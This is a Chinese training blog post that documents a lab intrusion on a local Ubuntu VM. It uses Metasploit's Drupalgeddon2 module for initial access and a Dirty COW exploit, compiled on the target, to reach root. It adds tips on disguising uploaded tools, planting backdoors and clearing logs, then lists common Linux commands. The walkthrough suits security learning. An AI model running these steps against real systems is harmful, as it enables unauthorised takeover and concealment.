实习实训day10

要求

1.复现上课的提权案例

2.总结Linux内核提权利用步骤(从内网信息收集到提权成功的思路)

3.总结Linux常用命令,10个以上

案例复现

打开案例虚拟机,提示输入登录密码,能得到的只有版本信息 ubuntu 14.04.5 LTS :

由于是在本地装的案例虚拟机,因此使用本地的kali虚拟机扫描一下本地的网段,看能不能扫出来案例机的ip。

查看本地网段ip:

用nmap扫一下:

这里第一个192.168.235.1是网关,不用管。可以看到有个192.168.235.147开放了80端口,应该是一个web服务,尝试去访问一下:

可以访问到一个网页,说明这个主机应该就是案例机,但没有其他信息了。

再用nmap对这个主机进行全端口扫描:

可以看到该主机还开了一个1898端口,访问一下:

是一个登录页面,看一下这个网站有哪些组件:

可以看到用了一个叫Drupal的CMS,去搜一下有没有相关漏洞:

可以看到这个Drupal是有很多漏洞的,可以用它作为突破口,具体漏洞在msf里再看一下。

启动msf:

msfconsole

搜一下关于Drupal的漏洞:

search Drupal

出来了一堆。使用第二个漏洞试一下:

use 1 # 或者 use exploit/unix/webapp/drupal_drupalgeddon2
show options # 列出这个EXP需要配置的参数

可以看到这里的RHOSTS还没有设置,RPORT默认设置的80,但需要改成那个Drupal网站的1898。所以要设置一下这两个参数:

set RHOSTS 192.168.235.147
set RPORT 1898

设好以后run就可以了,可以看到成功打入案例机(kali的4444端口连到了案例机的49398端口):

使用help可以看到可执行的命令:

使用shell命令可以进入案例机的shell交互页面,之后就可以执行相关命令了。

看一下当前用户:

whoami
id

可以看到当前用户是www-data,是个普通用户。

看一下版本信息:

uname -a
lsb_release -a
cat /proc/version
cat /etc/os-release

传一个linux漏洞查找工具到案例机的temp目录下(因为这个目录一般不会特别去看,可以稍微隐藏一下恶意文件),重命名为goodthing.sh:

linux-exploit-suggester项目源码:https://github.com/The-Z-Labs/linux-exploit-suggester

upload /home/zxy/linux-exploit-suggester-master/linux-exploit-suggester.sh /tmp/goodthing.sh

上传成功,进入shell去看一眼:

可以看到/tmp里已经有这个脚本了,但是没有执行权限的,所以要chmod一下再执行:

成功执行,爆出了很多漏洞,其中就包括脏牛:

去PoC-in-GitHub上搜一下这里的脏牛漏洞:

https://github.com/nomi-sec/PoC-in-GitHub/blob/master/2016/CVE-2016-5195.json

这里面有很多EXP(不一定全部都可用,可能要多试几个),对于这个案例可以用这个EXP:

下载下来以后扔到案例机上面去编译(不在kali上编译好再上传是因为不同环境编译出来的文件可能不一样,kali上编译好了传到案例机上不一定可以运行):

upload /home/zxy/CVE-2016-5195-master/dcow.cpp /tmp/cow.cpp
# 编译命令:
g++ -Wall -pedantic -O2 -std=c++11 -pthread -o cow cow.cpp -lutil

可以看到编译成功,得到的可执行文件已经有执行权限了。(我这里重启了一下案例机,所以之前传上去的goodthing.sh就没有了,不过已经知道可利用的漏洞了所以不再重复上传)

直接运行这个EXP:

可以看到root的密码已经被重置成了dirtyCowFun。由于这里直接用的shell来交互,su命令需要在终端里才能用,所以先用python打开一个终端,在这个终端里再启动一个shell:

python -c 'import pty; pty.spawn("/bin/bash")'

可以看到这时候的命令行就是终端里打开时的样子了。之后切换root用户即可:

可以看到成功提权为root。

Linux提权步骤

信息收集

网络扫描:使用扫描工具(如nmap、fscan)扫描目标网络,发现目标主机开放的端口和服务。

服务识别:通过端口扫描结果,识别目标主机上运行的服务。可以去访问一下这些端口以进一步确认服务类型。

访问目标主机

查找漏洞:根据识别出的服务,搜索已知的安全漏洞。msf里直接search服务名字即可。

选择EXP:在msf里选择合适的漏洞利用模块(EXP)。

配置EXP:配置EXP所需的参数,如RHOSTS(目标主机IP)和RPORT(目标端口)。

执行EXP:运行配置好的EXP,尝试获取目标系统的访问权限。

权限提升

确认当前用户:通过whoamiid命令确认当前用户权限。

上传漏洞查找工具:将Linux漏洞查找工具(如linux-exploit-suggesterlinux-smart-enumeration)上传到目标系统。

执行漏洞查找工具:赋予工具执行权限并执行,查找可用的提权漏洞。比如脏牛(dirty cow)漏洞等。

下载EXP并编译:下载针对特定漏洞的EXP(如KernelhubPoC-in-GitHub),在目标系统上编译。

执行EXP提权:运行编译好的EXP,尝试提升权限到root。

登录root

打开终端:由于直接在shell中su命令可能无法执行,可以用Python或其他方法打开一个新的终端。

切换用户:在新的终端中,使用su命令切换到root用户,并输入由EXP的到的密码。

后续操作

持续控制:根据需要,设置后门、安装远程管理工具等,以便持续控制目标系统。

清理痕迹:删除上传的提权工具、EXP等文件,清理日志等,以隐藏攻击痕迹。

Linux常用命令

查询命令:https://command-not-found.com/

  1. ls - 列出目录内容

ls命令用于显示目录中的文件和子目录。可以使用不同的选项来更改输出格式,如显示详细信息、隐藏文件等。

ls                  # 列出当前目录的文件和子目录  
ls -l               # 列出当前目录的文件和子目录,以长格式显示  
ls -a               # 列出当前目录的所有文件,包括隐藏文件(以"."开头的文件)
  1. cd - 更改当前目录

cd命令用于将当前工作目录更改为指定目录。

cd /home/user       # 将当前工作目录更改为/home/user  
cd ..               # 将当前工作目录更改为上一级目录  
cd ~                # 将当前工作目录更改为用户的主目录
  1. pwd - 显示当前工作目录

pwd命令用于显示当前工作目录的完整路径。

pwd                 # 显示当前工作目录的路径
  1. mkdir - 创建目录

mkdir命令用于创建一个或多个目录。

mkdir new_dir       # 创建一个名为new_dir的目录  
mkdir -p /path/to/new_dir  # 创建多层目录结构,若中间目录不存在则一并创建
  1. rm - 删除文件或目录

rm命令用于删除文件或目录。使用rm -r可以递归删除目录及其内容。

rm file.txt         # 删除名为file.txt的文件  
rm -r dir_name      # 递归删除名为dir_name的目录及其内容
  1. cp - 复制文件或目录

cp命令用于复制文件或目录。使用cp -r可以递归复制目录。

cp file1.txt file2.txt  # 将file1.txt复制为file2.txt  
cp -r dir1/ dir2/       # 将dir1目录及其内容递归复制到dir2目录
  1. mv - 移动或重命名文件或目录

mv命令用于移动文件或目录,或者将其重命名。

mv old_name.txt new_name.txt  # 将old_name.txt重命名为new_name.txt  
mv file.txt /path/to/dest/    # 将file.txt移动到/path/to/dest/目录
  1. touch - 创建空文件或更新文件的时间戳

touch命令用于创建一个新的空文件,或者更新已有文件的时间戳。

touch newfile.txt     # 创建一个名为newfile.txt的空文件  
touch existingfile.txt  # 更新existingfile.txt的访问和修改时间戳
  1. chmod - 更改文件或目录的权限

chmod命令用于更改文件或目录的权限。权限以数字或符号表示。

chmod 755 script.sh   # 将script.sh的权限设置为755(所有者可读可写可执行,组和其他用户可读可执行)  
chmod u+x script.sh   # 将script.sh的所有者权限增加可执行权限
  1. grep - 搜索文本

grep命令用于在文件中搜索符合特定模式的文本行,并输出这些行。

grep "pattern" file.txt   # 在file.txt中搜索包含"pattern"的行  
grep -r "pattern" /path/to/dir  # 递归搜索/path/to/dir目录中所有文件,输出包含"pattern"的行
  1. cat - 查看文件内容

cat命令用于查看文件的内容,也可以将多个文件合并后输出。

cat file.txt  # 查看file.txt的内容  
cat file1.txt file2.txt > combined.txt  # 将file1.txt和file2.txt的内容合并到combined.txt中
  1. more/less - 分页查看文件内容

moreless命令用于分页查看文件内容,适用于查看大文件。lessmore更强大,支持向前翻页。

more file.txt  # 使用more命令分页查看file.txt的内容  
less file.txt  # 使用less命令分页查看file.txt的内容,并支持向前翻页
  1. find - 查找文件或目录

find命令用于在目录树中搜索符合特定条件的文件或目录。

find /path/to/search -name "*.txt"  # 在/path/to/search目录及其子目录下查找所有扩展名为.txt的文件
  1. tar - 打包和压缩文件

tar命令用于将多个文件或目录打包成一个文件,并可以选择性地使用gzip或bzip2等工具进行压缩。

tar -cvf archive.tar dir_to_archive  # 将dir_to_archive目录打包成archive.tar文件  
tar -czvf archive.tar.gz dir_to_archive  # 将dir_to_archive目录打包并使用gzip压缩成archive.tar.gz文件
  1. ps - 显示当前进程状态

ps命令用于显示当前系统中的进程状态。

ps aux  # 显示系统中所有进程的详细信息
  1. kill - 终止进程

kill命令用于向进程发送信号,通常用于终止进程。

kill 1234  # 向PID为1234的进程发送SIGTERM信号,请求终止该进程  
kill -9 1234  # 向PID为1234的进程发送SIGKILL信号,强制终止该进程
  1. df - 显示磁盘空间使用情况

df命令用于显示文件系统的磁盘空间使用情况。

df -h  # 以易读的格式(如MB、GB)显示磁盘空间使用情况
  1. ifconfig/ip addr - 显示或配置网络接口

ifconfigip addr命令用于显示或配置网络接口的信息,如IP地址、子网掩码等。

注:在较新的Linux发行版中,ifconfig命令可能已被ip命令取代。

ifconfig  # 显示所有网络接口的信息(在某些系统上可能不可用)  
ip addr show  # 显示所有网络接口的信息(更通用的命令)

  • 25
    点赞
  • 16
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
以下是一个简单的C语言万年历的实训报告,供您参考: 一、实训目的 本次实训的主要目的是通过编写一个简单的C语言万年历程序,巩固C语言基本语法和编程思想,提高编程能力和解决问题的能力。 二、实训要求 1、能够使用C语言基本语法和控制语句编写程序。 2、能够使用数组来存储和操作数据。 3、能够使用函数来实现模块化编程。 4、能够使用指针来操作内存中的数据。 5、能够使用文件来读取和写入数据。 三、实训内容 1、程序功能 本程序实现了一个简单的万年历功能,可以通过输入年份和月份来显示该月的日历。 2、程序实现 以下是本程序的主要代码实现: ```c #include <stdio.h> // 判断是否为闰年 int is_leap_year(int year) { if ((year % 4 == 0 && year % 100 != 0) || year % 400 == 0) { return 1; } else { return 0; } } // 获取某个月份的总天数 int get_days(int year, int month) { int days[] = {31, 28 + is_leap_year(year), 31, 30, 31, 30, 31, 31, 30, 31, 30, 31}; return days[month - 1]; } // 获取某个日期是星期几 int get_weekday(int year, int month, int day) { if (month == 1 || month == 2) { year--; month += 12; } int c = year / 100; int y = year % 100; int w = y + y / 4 + c / 4 - 2 * c + 26 * (month + 1) / 10 + day - 1; w = (w % 7 + 7) % 7; return w; } // 显示日历 void show_calendar(int year, int month) { int days = get_days(year, month); int weekday = get_weekday(year, month, 1); printf(" 日 一 二 三 四 五 六\n"); int i; for (i = 0; i < weekday; i++) { printf(" "); } for (i = 1; i <= days; i++) { printf("%2d ", i); if ((weekday + i) % 7 == 0) { printf("\n"); } } if ((weekday + days) % 7 != 0) { printf("\n"); } } int main() { int year, month; printf("请输入年份:"); scanf("%d", &year); printf("请输入月份:"); scanf("%d", &month); if (month < 1 || month > 12) { printf("月份输入错误!\n"); return 1; } printf(" %d年%d月\n", year, month); show_calendar(year, month); return 0; } ``` 四、实训总结 通过本次实训,我学会了如何使用C语言来编写一个简单的万年历程序,巩固了C语言基本语法和编程思想,加强了对函数、数组、指针、文件等概念和用法的理解,提高了编程能力和解决问题的能力。同时,我也意识到在编程过程中需要注重代码的规范、可读性和可维护性,这对于日后的开发工作非常重要。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值